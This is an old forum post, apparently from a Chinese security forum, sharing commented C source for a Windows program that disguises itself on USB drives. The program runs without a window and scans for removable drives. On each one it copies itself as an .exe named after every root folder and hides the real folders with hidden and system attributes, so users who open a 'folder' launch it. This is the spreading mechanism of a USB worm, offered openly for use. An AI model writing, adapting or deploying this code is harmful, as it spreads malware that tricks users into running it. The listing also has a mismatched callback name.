-
-
[旧帖]
[原创][分享]一个把自己伪装成与u盘文件夹同名的程序[申请邀请码]
0.00雪花
-
发表于:
2009-12-31 13:49
1704
-
[旧帖] [原创][分享]一个把自己伪装成与u盘文件夹同名的程序[申请邀请码]
0.00雪花
运行后会把u盘里的文件夹设置为隐藏+系统属性,然后生成和文件夹同名的exe程序,可以骗过xp系统..也不能算是原创,以前就看过类似的代码.
注释比较清楚的,应该很容易看懂.
#include "stdio.h"
#include "windows.h"
#include "resource.h"
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTimer);
void fdCpyDir(char szRemoveDir[]);
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
int main(int argc, char *argv[])
{
HICON hIcon=LoadIcon(GetModuleHandle(NULL),MAKEINTRESOURCE(IDI_ICON1));//文件夹图标资源
MSG msg;
SetTimer(NULL,100,1000,TimerProc);
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 1;
}
void CALLBACK ProgTimer(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTimer)
{
char removeDir[4] = "A:\\";
for (removeDir[0] = 'A'; removeDir[0]<='Z'; removeDir[0]++) //遍历所有可能存在的磁盘
{
UINT uType = GetDriveType(removeDir); //判断一个磁盘驱动器的类型
if (uType == DRIVE_REMOVABLE) //U盘属于DRIVE_REMOVABLE类型
{
fdCpyDir(removeDir); //有U盘,调用我们自己的函数查找根目录的文件夹并伪装,同时将U盘的盘符传给这个函数
}
}
}
void fdCpyDir(char szRemoveDir[])
{
WIN32_FIND_DATA wfd;
HANDLE handle;
TCHAR szFileName[MAX_PATH];
strcpy(szFileName,szRemoveDir); //把U盘盘符给szFileName,假设盘符为H:
strcat(szFileName,"*.*"); //这里就变成了H:\\*.*
if ((handle = FindFirstFile(szFileName,&wfd)) != INVALID_HANDLE_VALUE) //如果查找H:\\下的*.*没有失败(既U盘中存在文件)
{
do
{
switch(wfd.dwFileAttributes)
{
case FILE_ATTRIBUTE_DIRECTORY: //The handle identifies a directory
char path[MAX_PATH];
char szFullName[MAX_PATH];
GetModuleFileName(NULL,path,MAX_PATH); //得到可执行文件的fully-qualified path放入path
strcpy(szFullName,szRemoveDir); //szRemoveDir是U盘盘符
strcat(szFullName,wfd.cFileName); //加上文件夹名字
strcat(szFullName,".exe"); //加上.exe 现在szFullName装的就是构造好的名字了
if (GetFileAttributes(szFullName) == INVALID_FILE_ATTRIBUTES) //如果U盘里没有构造好名字的同名exe文件
{
CopyFile(path,szFullName,FALSE);
}
if (GetFileAttributes(szFullName) != INVALID_FILE_ATTRIBUTES) //这回就有伪装的可执行文件了吧?
{
strcpy(szFullName,szRemoveDir);
strcat(szFullName,wfd.cFileName); //获得文件夹的绝对路径放入szFullName
SetFileAttributes(szFullName,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);//伪装后把U盘里的文件夹设置成隐藏和系统
}
}
} while (FindNextFile(handle,&wfd));
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!